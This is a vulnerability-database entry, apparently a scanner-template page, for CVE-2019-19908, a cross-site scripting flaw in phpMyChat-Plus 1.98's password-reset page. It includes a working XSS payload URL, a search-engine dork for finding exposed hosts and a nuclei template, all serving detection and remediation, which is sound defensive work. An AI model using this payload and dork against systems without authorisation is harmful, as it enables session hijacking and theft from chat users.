HexBrain

Browse / CVEs / CVE-2019-19908

CVE-2019-19908· ciprianmp / phpmychat-plus· CWE-79

phpMyChat-Plus 1.98 - Cross-Site Scripting

mediumseverity
6.1CVSS score
21.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of phpMyChat-Plus or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C
Positive when: contains "username = \"</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-19908 -u <target>

The full check
id: CVE-2019-19908

info:
  name: phpMyChat-Plus 1.98 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of phpMyChat-Plus or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://cinzinga.github.io/CVE-2019-19908/
    - http://ciprianmp.com/
    - https://sourceforge.net/projects/phpmychat/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19908
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-19908
    cwe-id: CWE-79
    epss-score: 0.21232
    epss-percentile: 0.97612
    cpe: cpe:2.3:a:ciprianmp:phpmychat-plus:1.98:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ciprianmp
    product: phpmychat-plus
    google-query: inurl:"/plus/pass_reset.php"
  tags: cve2019,cve,phpMyChat,xss,ciprianmp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'username = "</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from